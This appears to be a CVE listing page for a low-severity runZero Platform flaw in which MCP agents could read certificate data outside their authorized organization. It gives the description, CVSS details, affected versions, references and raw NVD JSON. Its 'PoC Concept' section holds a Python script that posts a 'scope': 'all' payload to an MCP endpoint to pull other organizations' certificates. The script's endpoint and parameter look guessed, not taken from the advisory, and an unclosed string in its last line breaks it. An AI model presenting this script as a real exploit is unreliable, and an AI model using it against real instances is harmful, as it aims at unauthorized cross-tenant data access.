CVE-2026-5379

Description

An issue that allowed MCP agents to access certificate information from outside of their authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N (3.0 Low). This issue was fixed in version 4.0.260203.0 of the runZero Platform.

CVSS Details

CVSS Score

3.0

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:* - VULNERABLE

runZero Platform < 4.0.260203.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-5379 PoC Concept (RunZero MCP Agent Cert Info Leak)
# This script demonstrates how an authenticated MCP agent might access
# certificate information outside its authorized scope.

import requests

def exploit(target_url, auth_token):
    headers = {
        "Authorization": f"Bearer {auth_token}",
        "Content-Type": "application/json"
    }
    
    # Simulate a request intended to list certificates within the agent's scope
    # By manipulating the 'scope_id' or bypassing scope checks, we access other orgs' certs.
    payload = {
        "query": "list_certificates",
        "scope": "all"  # Malicious parameter to bypass org restriction
    }

    try:
        response = requests.post(f"{target_url}/api/v1/mcp/execute", json=payload, headers=headers, verify=False)
        if response.status_code == 200:
            print("[+] Successfully accessed certificate information:")
            print(response.text)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}

# Usage
# exploit("https://target-runzero-instance.com", "HIGH_PRIVILEGE_TOKEN")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5379
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5379
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5379/
[4] VulDB https://vuldb.com/cve/CVE-2026-5379
[5] https://help.runzero.com/docs/release-notes/#402602030
[6] https://www.runzero.com/advisories/runzero-platform-mcp-cert-infoleak-cve-2026-5379/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5379", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-04-07T15:17:47.917", "lastModified": "2026-04-21T15:33:01.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue that allowed MCP agents to access certificate information from outside of their authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N (3.0 Low). This issue was fixed in version 4.0.260203.0 of the runZero Platform."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N", "baseScore": 3.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.260203.0", "matchCriteriaId": "E1543DB8-1DF4-40B2-B9D1-E1DE9BA10B22"}]}]}], "references": [{"url": "https://help.runzero.com/docs/release-notes/#402602030", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Release Notes"]}, {"url": "https://www.runzero.com/advisories/runzero-platform-mcp-cert-infoleak-cve-2026-5379/", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Vendor Advisory"]}]}}